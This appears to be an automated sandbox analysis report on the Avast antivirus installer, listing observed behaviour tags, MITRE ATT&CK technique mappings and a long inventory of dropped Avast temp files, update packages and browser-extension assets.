C:\Program Files\Avast Software\Avast\AvastUI.exe"C:\Program Files\Avast Software\Avast\AvastUI.exe"1⤵
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa382c855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
3Active Setup
1Registry Run Keys / Startup Folder
2Event Triggered Execution
2Component Object Model Hijacking
1Image File Execution Options Injection
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Boot or Logon Autostart Execution
3Active Setup
1Registry Run Keys / Startup Folder
2Event Triggered Execution
2Component Object Model Hijacking
1Image File Execution Options Injection
1Defense Evasion
File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify Tools
1Safe Mode Boot
1Modify Registry
7Pre-OS Boot
1Bootkit
1Subvert Trust Controls
1Install Root Certificate
1Discovery
Browser Information Discovery
1Peripheral Device Discovery
1Query Registry
7Software Discovery
1Security Software Discovery
1System Information Discovery
7System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
npAvastBrowserUpdate3.dll
AvastBrowserUpdate.exe
asw08cffdefe7d37b20.tmp
asw2f76e489d1ecc24f.tmp
asw384ce7e38b860d22.tmp
asw51f7b1affa89aaec.tmp
asw680f3222352d452c.tmp
asw6900c049aa0dcf3e.tmp
aswf97b7a0d639097aa.tmp
asw0e99796810487565.tmp
asw167880d8b2514a79.tmp
asw42b29590bf9c1477.tmp
asw04372f124cdfb5cc.tmp
asw047186981cd5a1eb.tmp
asw093ef59985129e28.tmp
asw1b3daa4ec93cae2a.tmp
asw2301e336e5c630ff.tmp
asw2a6f4ea8566e90e5.tmp
asw2d5d280e030eb043.tmp
asw2de2228861d51f9e.tmp
asw37a2eefb273ab9c8.tmp
asw3a60ab17c8cc4212.tmp
asw40874b833a7a3681.tmp
asw453b6de895989eac.tmp
asw48ae35d0f159be6b.tmp
asw4c598bfd75d33c21.tmp
asw4c8b39a14f2a18d4.tmp
asw5a54da7bf34b3c51.tmp
asw60c941b9a45da245.tmp
asw7093f556786c1da6.tmp
asw773d41abe23e4e7c.tmp
asw8a4a25db14fac740.tmp
asw8e47f91c78291a6d.tmp
asw9a1512296df108c7.tmp
aswb41d257ed4f013fb.tmp
aswb48f89b1e3a7fd42.tmp
aswb8525c2cf15ae35b.tmp
aswba3f97314a8cc3c4.tmp
aswc2182d66ccb37a9e.tmp
aswca30d3ac9f665cc6.tmp
aswcad2fc25b121b799.tmp
aswd14f905dafb1f27a.tmp
aswd4f49a22fb0eddd9.tmp
aswd514cf977db5bb94.tmp
aswe22599ec98e448c7.tmp
aswea38c506913a0658.tmp
aswf89a8f65c1299ecd.tmp
aswf9deb8ad4f8cf8d1.tmp
aswfc834c3d6d5ff8d3.tmp
aswfe6d25f40aab8021.tmp
asw15aabfdc9116579d.tmp
asw23aac9be596f355b.tmp
asw28f3906d4561d5c3.tmp
asw2f82e5a853358b19.tmp
asw34340c8fbeb04e7e.tmp
asw44c1718f4bc7160b.tmp
asw5e9bab80e75e34d5.tmp
aswa2042e43b9bd487b.tmp
aswa791c5fb3c3cb927.tmp
aswc7b70bbac91ce932.tmp
aswcf719f315054f644.tmp
asw026f364595d37f7f.tmp
asw0624a64d120a47c8.tmp
asw081b5a0f7e43a47d.tmp
asw0a9eed91f974eb1f.tmp
asw1355b3ff6938c62d.tmp
asw18c573e40cc61005.tmp
asw1a2f3cb7cf41d14f.tmp
asw1cb4023f853aae2b.tmp
asw1f5611d1adf01eff.tmp
asw223b7e9e1f1c58bd.tmp
asw235b1a010db1d9e6.tmp
asw24ebbc61c9c64da8.tmp
asw259cb195dedbaf1f.tmp
asw2602c5fa567cd7ae.tmp
asw299d193c463a2fe5.tmp
asw2a0932d850886912.tmp
asw2b469942530f379b.tmp
asw2b5a408fd14b291b.tmp
asw2bcb778c31989078.tmp
asw2be78381ad5e1b6c.tmp
asw2dac43c0ccf46e35.tmp
asw2def1c4930ddf7c5.tmp
asw2f80fe9ed83a0ca2.tmp
asw304e60674ca1ddb7.tmp
asw339b1e95398e7477.tmp
asw35c4daad085f1c8f.tmp
asw38923ac06157fa6a.tmp
asw3bd8083b9091be46.tmp
asw3c0b21cda68f2442.tmp
asw3e02f87fff5b9bed.tmp
asw3f03361c99487dd7.tmp
asw3f1e957974a63287.tmp
asw3f3f57b8fe12379a.tmp
asw493d1927d9659257.tmp
asw49b89b4c351feb0a.tmp
asw4adaf210e7e8c733.tmp
asw4d6f18da1918315a.tmp
asw4e85b0d2a0bc2e8e.tmp
asw514820b32b07cec4.tmp
asw546bc6c321e5810d.tmp
asw5753b48ad4f6a1bc.tmp
asw58e91e5a9a4d2b42.tmp
asw5b06fc06ad8012bd.tmp
asw5b8f43049c5847e0.tmp
asw5c2b1e4fd4c04449.tmp
asw5c59edc4685133d1.tmp
asw5f94e123b7c44ba9.tmp
asw61a8274904a43f1a.tmp
asw62933d764484822f.tmp
asw6295395e6ef5ada3.tmp
asw62fb409185e66dd4.tmp
asw648c64c409952110.tmp
asw64e550212c6ce185.tmp
asw698557cf8cb3a22c.tmp
asw6c84c9f59ac78831.tmp
asw6cd1901b5bb2677f.tmp
asw6fa68d0bbacf8b14.tmp
asw7138c9db2b5d4c59.tmp
asw71d9bca9839e1d00.tmp
asw7340bf5eee845bec.tmp
asw76c571b3724b0687.tmp
asw77310b961fca06bd.tmp
asw774f2576efca5a5e.tmp
asw782722dcdf5efbf0.tmp
asw797430226816c18d.tmp
asw7ae378d19c0325db.tmp
asw7c695b44daaf8fa6.tmp
asw7f0abab917c6d66e.tmp
asw7ff7f522a494bf44.tmp
asw8266e0e11cdf7e2c.tmp
asw90452431b63ae160.tmp
asw92339a3f46165955.tmp
asw92b95b24244110b5.tmp
asw94a86efc637e5da7.tmp
asw95753a9b3a3dfa24.tmp
asw96fff8f97374a63e.tmp
asw9c185d99d86c1c1d.tmp
aswa1a24f29043c3377.tmp
aswa25d7ee1f316646e.tmp
aswa54bc2125c5cf9aa.tmp
aswa6113d779f9d1e4e.tmp
aswaf42410301b8506d.tmp
aswb7efed9c1b919859.tmp
aswb8013ed8b7bc0f0c.tmp
aswb93c537ccab78e9b.tmp
aswbd0484ee516d7fe2.tmp
aswbf842a0e62dc7c60.tmp
aswc2a5c3e95d91676b.tmp
aswc309937c80628a30.tmp
aswc4776103288ec8fb.tmp
aswc75c138ad0baa320.tmp
aswcd19d83961740297.tmp
aswd038fdba13c5b756.tmp
aswd1b9e1d5b2a0a612.tmp
aswd29637b274676d34.tmp
aswd4b76267df8fc529.tmp
aswd4e404875aef5931.tmp
aswd589f5e2674ba01c.tmp
aswd62f456f4feb6363.tmp
aswd67190cfae5ab40e.tmp
aswd8b0cd5b47e8037c.tmp
aswdd305db28094cf0f.tmp
aswdf59842438390d30.tmp
aswe1099d2eeb00129a.tmp
aswe24a3b39f7cf0d6d.tmp
aswe37bfc540119a26d.tmp
aswe41a20c4a89f0983.tmp
aswe5fcdfd55fc43f09.tmp
aswe8c1da7acbabbb22.tmp
asweb85fb1419b0d489.tmp
aswec04c0192f2071d0.tmp
aswedea3ed27c0abc02.tmp
aswf0d341b21580ab18.tmp
aswf2d751b8c58a16e7.tmp
aswf35404c4d96e47d4.tmp
aswf3c5569ca9d1d4d4.tmp
aswf5fdbb72ad83f73a.tmp
aswf6781d14938da39a.tmp
asw0375a25cf4bd0774.tmp
asw101b2fe8877b9d39.tmp
asw1d49f01e8a742a4f.tmp
asw209d5a3f9ca405b8.tmp
asw2138659cfbe0e2b8.tmp
asw21fcf25d21d60133.tmp
asw270e4dcfd65c9dae.tmp
asw27bf9ef46ea176c2.tmp
asw2984a7d497007bcb.tmp
asw2ec6d7b9b174e70c.tmp
asw3013af39ca61584f.tmp
asw32d33727d15fdd06.tmp
asw4212426fda32d46e.tmp
asw433b80a31dbc27fe.tmp
asw49cf791c536a54b0.tmp
asw55a321d06b807dc1.tmp
asw56666051c49cebb4.tmp
asw56cf5e63f0d4f842.tmp
asw59ad3eb670e94acf.tmp
asw5b22d76e2040700c.tmp
asw6d845cffbf396833.tmp
asw6f500bbb18de6fdd.tmp
asw70746424cdc616cc.tmp
asw72b65f58f2459cee.tmp
asw7641b93344483550.tmp
asw797731978cced54c.tmp
asw79e1476d7c2973e6.tmp
asw7e52b175842ab7a2.tmp
asw88e43230a4578da8.tmp
asw89403db48fce4295.tmp
asw8a1409fa760aa3f5.tmp
asw8e675e73f87928b5.tmp
asw93fa4f736ff078cb.tmp
asw976e46c83567e47e.tmp
asw98e32ee94907b0be.tmp
asw9904fd1a96ec783c.tmp
asw9b9c2a26fc7db6fe.tmp
asw9def8433259df40b.tmp
aswafb92f0f54505a22.tmp
aswb7f826dea6ce36ac.tmp
aswb988fe460a8be535.tmp
aswbf18965df4808e44.tmp
aswc02a2b3d56795849.tmp
aswc175394a4623170f.tmp
aswc806c3658f52c3c0.tmp
aswc8e255754aad670c.tmp
aswcd3c830a7c1fb39b.tmp
aswcf7db8e386063098.tmp
aswdb40e27a84098ec6.tmp
aswed80253b94f85716.tmp
aswef34d7ac487d851b.tmp
aswf1b019b0db068a7b.tmp
aswf294c587f2c184a5.tmp
aswff2c59f0649f6fbd.tmp
asw07f3ab497de69ae1.tmp
asw0dbfcb8410af77a2.tmp
asw114e2fc4cc7a3f1d.tmp
asw16ce4bc3f72354c0.tmp
asw19fd7b227f082b8b.tmp
asw1fafd2ce09c1463f.tmp
asw210587397ae005a0.tmp
asw2446ece47619b8f9.tmp
asw252bf8b13a014553.tmp
asw2658d6d5f3e0c62a.tmp
asw28d526e2e24b83d2.tmp
asw296250305561b017.tmp
asw2d49e848fb6bdbd9.tmp
asw2ddde8aef6d8b1ee.tmp
asw3176d05362c8ed21.tmp
asw339aa0b255b8572c.tmp
asw33f3b31755df690e.tmp
asw33ff23bfaf5d3118.tmp
asw3593438bbd0f458d.tmp
asw36deed5695ee0efc.tmp
asw3884b8d56e81f2a6.tmp
asw3fb8015be197cccf.tmp
asw4188b1a1970f8f36.tmp
asw41f6b88f03a85c81.tmp
asw43bc50d9117bdc62.tmp
asw46a8018e464f715f.tmp
asw4acd8aba81a389cb.tmp
asw4d5c017418379927.tmp
asw4ee3b6e692113541.tmp
asw5d0d757e9649f92e.tmp
asw60d7d1f4ac0f04e0.tmp
asw63b0d709ba129b25.tmp
asw651357f69ba01d72.tmp
asw6717386eb0922cf4.tmp
asw671a2125f5ada1fc.tmp
asw6a8a5d18218be797.tmp
asw6af27c3bd1b69e5e.tmp
asw6c41c489c00a2a2e.tmp
asw751667e6f13f9b44.tmp
asw773804ebd06af3db.tmp
asw78e6d868187efab8.tmp
asw7afece2700619018.tmp
asw7f33b62ace57b722.tmp
asw823f6a79c493bb88.tmp
asw82faab65f8de44aa.tmp
asw838d934f26cdb96d.tmp
asw8948d68fa57bfd10.tmp
asw8f8956894f0bb94a.tmp
asw9224b68b0fcbbda7.tmp
asw941582cc17de894c.tmp
asw9450eb666ff75fea.tmp
asw97b4565bea3ed8ef.tmp
asw9a81470fbcb2d94e.tmp
asw9b9d71dad9980d13.tmp
asw9dfb1ad1b70aed6f.tmp
asw9e13d7687987d4b1.tmp
aswa2a8e5a4fb9f3570.tmp
aswa5b36e777b23065c.tmp
aswa8e09719fb94dedd.tmp
aswb1089dfd97cc16ad.tmp
aswb14dbf7951bfd96d.tmp
aswb18fd994dea9f5e3.tmp
aswb49a7508bc8fb1a8.tmp
aswb572fdbadc2b133f.tmp
aswb7d78eddec252ab5.tmp
aswbb7a06a0d96a55d9.tmp
aswbbf25178107f2429.tmp
aswbec78a4446f410a0.tmp
aswc05a530f2c5bd812.tmp
aswc22ca88b5cc6ba69.tmp
aswc615cbc3db83a677.tmp
aswc9869e5154aace17.tmp
aswcb78bc2d8d1d11c1.tmp
aswccda32baa84a25b1.tmp
aswcd0a1c09f4206e9a.tmp
aswd1fd07a55d1249b1.tmp
aswd4e23f64ae754cdb.tmp
aswd6bedd2186c64e5d.tmp
aswd90ee952a9aaa916.tmp
aswda117da8ac709c7e.tmp
aswdadf099a3a1407c8.tmp
aswdcb06368b58197a6.tmp
aswde161f511915a62e.tmp
aswde198d8892c87537.tmp
aswde24634ddd0de281.tmp
aswe2210b5cb64d1668.tmp
aswe3bcad97cccc4511.tmp
asweb9ffa57176a742a.tmp
aswed144ef00cb30ec9.tmp
aswef1bc0a25d7c337a.tmp
aswf07bebd490885c3a.tmp
aswf2623d3247e4d4d5.tmp
aswf428035864dbd44e.tmp
aswf5c7fe812214e291.tmp
aswf784225ca756bf60.tmp
aswf937913de0836dea.tmp
aswfb47e0018776b17a.tmp
aswfc7220fa75374814.tmp
aswfd93193b67e09946.tmp
aswfed10a00cf3ed7a1.tmp
asw0131a0a5999311b3.tmp
asw07e112f4d317c921.tmp
asw0940aa8fb0c88af5.tmp
asw0ad42df065c92988.tmp
asw0d3f39187817fa76.tmp
asw0e866c0e7808d6d4.tmp
asw0e8e77d553cc82d4.tmp
asw104dc74bb6c6eb2f.tmp
asw10dca19481520f88.tmp
asw111657e157baf3ea.tmp
asw1357c2b92fdd20f1.tmp
asw1a4afe8c2c9280fe.tmp
asw216baaba67fff990.tmp
asw2258f681af452234.tmp
asw2b9d7bf29e919584.tmp
asw30861d3adb2f0231.tmp
asw364f544ceb1c1151.tmp
asw3b1331ad4472d8a9.tmp
asw3d24af2dfbf08e7e.tmp
asw3e9a4aa74b73f961.tmp
asw412695040a1b902d.tmp
asw48ef2281e3605bff.tmp
asw4b614d196f471366.tmp
asw55e903a9b81a4750.tmp
asw58afef8662e65910.tmp
asw5c691479e6fb1178.tmp
asw60f4fc327c2a7ab5.tmp
asw64e59be266edda09.tmp
asw680b181395086199.tmp
asw72684c1bb92c1e96.tmp
asw79e45f132493f3e2.tmp
asw7b738161aa7b4d05.tmp
asw81cd1ccce59efd56.tmp
asw820bdabdc42776ac.tmp
asw8374ada8cacf84fa.tmp
asw8bf8de7c4137fb4a.tmp
asw8cc749c02d48f28b.tmp
asw8e271a19feabc8c5.tmp
asw924ebd78b40cb041.tmp
asw9391eacbdbe68dcf.tmp
asw98474d91de0f3f15.tmp
asw993bc707d8f1ca69.tmp
asw9f56786c9f08a1e9.tmp
aswa2548229b74ae48d.tmp
aswa3108ce19069acb5.tmp
aswa33eda9c8240eed9.tmp
aswa424a9d553a4b70b.tmp
aswa9fb4b04ec0d9b13.tmp
aswb10527467cfa9636.tmp
aswbb69b4a16b607f21.tmp
aswbc1a62efc395af1b.tmp
aswbdd8f0c4d5910013.tmp
aswc0b1618bf86d5ece.tmp
aswc485370fc968580f.tmp
aswc6002b6c9bc19827.tmp
aswcdc009077373062e.tmp
aswd00c98ace7eb87aa.tmp
aswd38bcd75583de38a.tmp
aswd64170d5e50dbff1.tmp
aswd77801b78f2a4265.tmp
aswd9255b9330a0afce.tmp
aswddd6427d727f370c.tmp
aswde149d02ba42c09a.tmp
aswe3d6b65fc4ad8643.tmp
aswe3dfcd1700e488fb.tmp
aswe57542977cb6570b.tmp
asweb45d5d92fe23d25.tmp
aswebe2f6ca35d7a750.tmp
aswf1bcdc6c4d10e3f6.tmp
aswf234e86603f9af7e.tmp
aswf4a1ecb053575507.tmp
aswf545e8e763673daf.tmp
aswfad47ba248151475.tmp
aswfb6db4ac92df4034.tmp
asw001018ed91766b23.tmp
asw03a826d811391e70.tmp
asw0c7db0bba83a8836.tmp
asw120fbf501cdf87c6.tmp
asw130d68939eb38d5c.tmp
asw16f1e7f7993e4774.tmp
asw17cdc21ab512035b.tmp
asw20f5b772e283f1be.tmp
asw2a4852eeca514200.tmp
asw2ad4f75cf13948c7.tmp
asw36a0c7c1cd6ffa80.tmp
asw4120b38f852b2e88.tmp
asw450bcd1bb43cfe1b.tmp
asw46ee0d6f456f96fd.tmp
asw4a4335054c1e6d8a.tmp
asw4caa350cb67d1d3d.tmp
asw4ce965dbc173641f.tmp
asw4d202e28d99f47aa.tmp
asw507f011e41d9dc55.tmp
asw516b6c1ba5e5ffaa.tmp
asw5c690935451d98be.tmp
asw6178f110e798a893.tmp
asw782c28dffef231a5.tmp
asw794374feb59054ae.tmp
asw817cb6a9cbe878b8.tmp
asw8994f1fd1795ca22.tmp
asw8bc13fd183c6baa3.tmp
asw8c2e5098ea6c4e7f.tmp
asw9017e046ef08ccf0.tmp
asw9548c0d044cbc168.tmp
asw95fd798c300ef15e.tmp
asw9d719cb63386da54.tmp
aswa41024374bffc7d6.tmp
aswab4683bb75d63273.tmp
aswad80cd6ec4a229b7.tmp
aswb07e631f939b0a1d.tmp
aswb406fa93a8a3efbf.tmp
aswb4c18abef4afedd7.tmp
aswb648efedab8aa936.tmp
aswb6a6672d65252509.tmp
aswbc78bf060e1fe299.tmp
aswbcc1020aa01af82d.tmp
aswbe587fb03288a24b.tmp
aswc22993a3dddfb7aa.tmp
aswddea20923c2607a1.tmp
aswe57ce80327c1c779.tmp
aswe57dcd8a9b4cca75.tmp
aswec9c0d2977423109.tmp
asweccaf1dd28739d00.tmp
aswee6d1047518d4b4f.tmp
aswf9df49f53a98081a.tmp
aswfc00fe2a448e83a6.tmp
aswfe2c6985201d1781.tmp
769310EFC2D1B3BD5086146C33EF78B703BB8423598C6A52D9B1964F6DBB42C1
A5FA240E7572F0B9720E88CFD51BC86A.rmt
update.xml
22928e2a-2178-4528-a2dc-76dfd469ede9.xml
4edc084c-75b9-4601-aafe-907cb9d3b64d.ini
update.xml
63304464-4b6c-4ff8-8cd4-8af25b4ae6c4.cab
70ff90d9-95fa-4187-8d32-892949146f59.cab
8e56b9c1-78a6-44b2-89a1-558ea51c605d.cab
update.xml
asw01ddf3e6d4c2ee24.tmp
asw159c3349327f0ccc.tmp
asw1bd6cefa5d7527eb.tmp
asw3d8f068ec17ee8da.tmp
asw77cd612f5d5074eb.tmp
asw77eb0b1cb2168c86.tmp
aswa4b757142d0ba4b2.tmp
aswada66d541ea0bb27.tmp
aswbed73f106b17e32f.tmp
aswc3098beaa0d9a7e0.tmp
aswd12d3f444f930a92.tmp
aswd6376c7ad1040d8f.tmp
asweff91da385c1da36.tmp
aswf0cf96e5771b3c32.tmp
aswf4770e9b096226aa.tmp
aswfec1517751292458.tmp
Stats.ini
Stats.ini
Stats.ini
Stats.ini
Stats.ini
ais_cmp_bpc-7e7.vpx
ais_cmp_cleanup_x64-845.vpx
ais_cmp_gamingmode-928.vpx
ais_cmp_idp_x64-927.vpx
ais_cmp_rescuedisk_x64-8dc.vpx
ais_cmp_securebrowser-7cc.vpx
ais_cmp_swhealth_x64-8dc.vpx
ais_core-991.vpx
ais_dll_eng-887.vpx
ais_dll_eng_x64-8dc.vpx
ais_gen_crt_x64-834.vpx
ais_gen_crt_x86-833.vpx
ais_gen_gui_x64-8dc.vpx
ais_gen_openssl_x64-7ef.vpx
ais_gen_protobuf_x64-7d4.vpx
ais_gen_streamfilter_x64-95b.vpx
ais_gen_tools-97e.vpx
ais_gen_tools_x64-97e.vpx
ais_gui_cef-7d6.vpx
ais_gui_res-8ae.vpx
ais_res-991.vpx
ais_shl_mai_x64-8dc.vpx
ais_x64-991.vpx
asw5eadf1ef97f82c9b.tmp
asw6beb05bae59bcb33.tmp
c8e4cf60-dc3d-4214-ae77-5c0052af1ece.ini
avast5.ini.172200466423404
f85ff8c0-8739-4760-8315-9da1233d1bdb.cab
jrog2-1529.vpx
part-prg_ais-180717ec.vpx
part-setup_ais-180717ec.vpx
setup.ini
vps_binaries-1505.vpx
vps_binaries_64-1506.vpx
vps_tools_64-1505.vpx
asw9d3216f06f21b317.tmp
aswc784ab63c7761e5f.tmp
asw04436d58d473c050.tmp
asw0afb4eb7bd1376d4.tmp
asw2ffdef4d04f4eca0.tmp
asw3a2b52899dbe0375.tmp
asw3ab234285f1c020a.tmp
asw3d988e00c7c04a40.tmp
asw4160a2cec58d5fb6.tmp
asw56bc543893c5db07.tmp
asw5b24b037ae960cc4.tmp
asw6ec00a7ecc5e0c41.tmp
asw7f8c9e473ed79e6d.tmp
asw9058d228bf091af2.tmp
asw92eb85dbbe88e7ed.tmp
asw962d40f84da77e5d.tmp
aswad63e2f98d5f5478.tmp
aswb925b25de1031768.tmp
aswbb0e31ce44214124.tmp
aswbcf86258a702f9d3.tmp
aswc3556cc93501f6f5.tmp
aswc8160962aae06b67.tmp
aswce166b9e9acaca95.tmp
aswea2a7515574b1b39.tmp
aswefed10aa29b33980.tmp
asw06e7a75da7305d11.tmp
asw0846d2e0a78d09e2.tmp
asw0a7159e435cb0708.tmp
asw0c6cb51e0672f92b.tmp
asw0ebe44ddf7a40435.tmp
asw1aed94f7acc61eda.tmp
asw2705dfa7d91aab37.tmp
asw36fdcd84b6441964.tmp
asw3bcf0a6abbb2c8d8.tmp
asw3cb6eeb93fc6f18f.tmp
asw43be397a032e29f4.tmp
asw4b6735a5aceb7da9.tmp
asw50f84d21066b961b.tmp
asw57b408a25c5a62dd.tmp
asw5c78192823c7fdd7.tmp
asw5e109061e0107524.tmp
asw64b08f3c44ae0395.tmp
asw6c0d1ee89e170d27.tmp
asw6e491bb9a0f68d39.tmp
asw6f5633c79bfecdc1.tmp
asw6f75f706de048fa8.tmp
asw702b28d1b8015403.tmp
asw71dab9b35742bb19.tmp
asw784c7e52940ece82.tmp
asw7dc719b3c52f9556.tmp
asw84d3a33bf632dc87.tmp
asw88a19be2cc465da0.tmp
asw8fa5d00d1953aa20.tmp
asw9090dfe2be3645c3.tmp
asw941847a5b3305866.tmp
asw94fbbad71df5d382.tmp
asw9f7706a8d09ae3dd.tmp
aswa0e58f0e0955b3a2.tmp
aswa26d31db6d5b9f65.tmp
aswa47d335e4a959194.tmp
aswa60549bae4b50384.tmp
aswaf837c41a03f3fe5.tmp
aswb03a7cabee9d464d.tmp
aswb33ae8a65c4340b6.tmp
aswb34eb2efd0c01e48.tmp
aswbd798b1b198297b6.tmp
aswc2fc5b8c61d2feae.tmp
aswc4df41d07a08b80e.tmp
aswd0679f6afc7099d7.tmp
aswd61dfb44618396e6.tmp
aswd646c26fb3e99152.tmp
aswdade5f1ee7666cc8.tmp
aswdb8ce6e9059c5795.tmp
aswdc1dc7fb543aaf39.tmp
aswdcef58851e7477a5.tmp
asweca11101a4a3a2a0.tmp
aswf2a08461d4c82b7d.tmp
aswf2d960d0ef6fa9d0.tmp
aswf3059668a6b96319.tmp
setup.exe
manifest.fingerprint
manifest.json
manifest.json
manifest.json
manifest.json
asw419503883232bd6a.tmp
asw9acd6dfe7ab29240.tmp
asw9eec5a5f0ff47fcb.tmp
aswa1960c2dc2813c61.tmp
aswb9e8e3ea75505859.tmp
aswbe9c7b0177e8dc41.tmp
aswd8c95e214c1ea295.tmp
aswe11e05958b3dbb23.tmp
aswffb72493ba39c038.tmp
asw8c2ea6ff06904a75.tmp
aswecb22a872d87dd7c.tmp
SecurityProductInformation.ini
asw1284ff5494e2b9e0.tmp
asw5d9bd817ad04fce9.tmp
asw9ec2c952cf2927ab.tmp
aswca2efb282cd092f3.tmp
asw3066f265dd1907ee.tmp
asw5448d811eedca62c.tmp
aswebd3302eefcb387b.tmp
aswfba9398e466e9a53.tmp
AvEmUpdate.log
AvEmUpdate.log
AvEmUpdate.log
Setup.log
crl-set
settings.dat
9ea7fb6a-b80f-4a51-a924-ea188932dcaf.tmp
Bookmarks
the-real-index
the-real-index
the-real-index
the-real-index~RFe5c4a6e.TMP
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
verified_contents.json
ai_chat.html
background.html
app.css
icon_24.png
icon_64.png
icon_24.png
icon_64.png
animation.lottie.json
clear_chat.png
example_arrow.png
animation.lottie.json
clear_chat.png
example_arrow.png
ai_chat.bundle.js
background.bundle.js
background.bundle.js.LICENSE.txt
popup.bundle.js
manifest.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
verified_contents.json
landing.css
options.css
popup.css
023d3cd1346708e926f0c19c7ada20cf.ttf
10de31607e2027fd1ccce9c6fcbec5f2.ttf
1db429db8bb535bb03d4cb1188d2fa72.ttf
4b8b4b377e8cb358cf886d13c7bb287c.ttf
66c21e717d305259c466bccd7229ac03.woff
b0b1845ecce8ab6a503971e808a8409c.ttf
bar.html
landing.html
options.html
options3.html
popup.html
switched.html
welcome.html
Icon-arrow-2.svg
Icon-close.svg
Icon-open-window.svg
bm-icon.png
bm-icon.svg
black_32.png
black_disabled_16.png
black_disabled_32.png
green_32.png
green_disabled_32.png
check-2.svg
checkbox-1.png
checkbox-2.png
icon-adblock.svg
icon-arrow.svg
icon-bank-mode-grey.png
icon-cross.png
icon-info-hover.png
icon-info.png
icon-warning.png
icon-windows.png
icon128.png
icon16.png
loader.gif
1f17dad477117b8b064d379e21f4272c.svg
6b87a84dbfc31845e7419ee2f0458a4d.svg
9727c59ba448710a7d8bbc2300cf198a.svg
a28584d70ef78ecc53fe4ca6afcb80da.svg
ab2dd88998a54382bc526184f9f031d7.svg
background.js
landing.js
options.js
popup.js
welcome.js
manifest.json
messages.json
verified_contents.json
background.js
background.js.LICENSE.txt
content.js
contentAPIs.js
icon128.png
icon16-active.png
icon.png
icon.svg
icon.png
icon.svg
icon.png
icon.svg
manifest.json
overlay.js
popup.html
popup.js
verified_contents.json
background.js
background.js.LICENSE.txt
contentScript.css
contentScript.js.LICENSE.txt
Roboto-Black.woff2
Roboto-Bold.woff2
Roboto-Light.woff2
Roboto-Medium.woff2
Roboto-Regular.woff2
icon128.png
icon16.png
icon32.png
icon48.png
iconDisabled16.png
iconDisabled32.png
manifest.json
popover.html
siteScript.js
messages.json
verified_contents.json
icon16_active.png
icon32_active.png
content.bundle.js
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
verified_contents.json
open-sans-v15-latin_latin-ext-300.eot
open-sans-v15-latin_latin-ext-300.svg
open-sans-v15-latin_latin-ext-300.ttf
open-sans-v15-latin_latin-ext-300.woff
open-sans-v15-latin_latin-ext-300.woff2
open-sans-v15-latin_latin-ext-600.eot
open-sans-v15-latin_latin-ext-600.svg
open-sans-v15-latin_latin-ext-600.ttf
open-sans-v15-latin_latin-ext-600.woff
open-sans-v15-latin_latin-ext-600.woff2
open-sans-v15-latin_latin-ext-700.eot
open-sans-v15-latin_latin-ext-700.svg
open-sans-v15-latin_latin-ext-700.ttf
open-sans-v15-latin_latin-ext-700.woff
open-sans-v15-latin_latin-ext-700.woff2
open-sans-v15-latin_latin-ext-regular.eot
open-sans-v15-latin_latin-ext-regular.svg
open-sans-v15-latin_latin-ext-regular.ttf
open-sans-v15-latin_latin-ext-regular.woff
open-sans-v15-latin_latin-ext-regular.woff2
icon-128.png
icon-16.png
icon-48.png
icon-on.svg
background.bundle.js
manifest.json
options.html
popup.html
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
verified_contents.json
MierB03-SubsetCyr-Bold.woff2
MierB03-SubsetCyr-ExtraBold.woff2
MierB03-SubsetCyr-Regular.woff2
MierB03-SubsetLatinA-Bold.woff2
MierB03-SubsetLatinA-ExtraBold.woff2
MierB03-SubsetLatinA-Regular.woff2
roboto-cyrillic-ext-400.woff2
roboto-cyrillic-ext-500.woff2
roboto-cyrillic-ext-700.woff2
roboto-latin-ext-400.woff2
roboto-latin-ext-500.woff2
roboto-latin-ext-700.woff2
popup.css
popup.html
popup.js
vue.js
a1.svg
arrowLeft.svg
arrowRight.svg
checkmark.svg
checkmark9.svg
checkmarkSmall.svg
chevron.svg
close.svg
cross.svg
eye.svg
fingerprint.svg
ad.svg
ae.svg
af.svg
ag.svg
ai.svg
al.svg
am.svg
ao.svg
ar.svg
as.svg
at.svg
au.svg
aw.svg
ax.svg
az.svg
ba.svg
bb.svg
bd.svg
be.svg
bf.svg
bg.svg
bh.svg
bi.svg
bj.svg
bm.svg
bn.svg
bo.svg
bq.svg
br.svg
bs.svg
bt.svg
bw.svg
by.svg
bz.svg
ca.svg
cc.svg
cd.svg
cf.svg
cg.svg
ch.svg
ci.svg
ck.svg
cl-vl.svg
cl.svg
cm.svg
cn.svg
co.svg
cr.svg
cu.svg
cv.svg
cw.svg
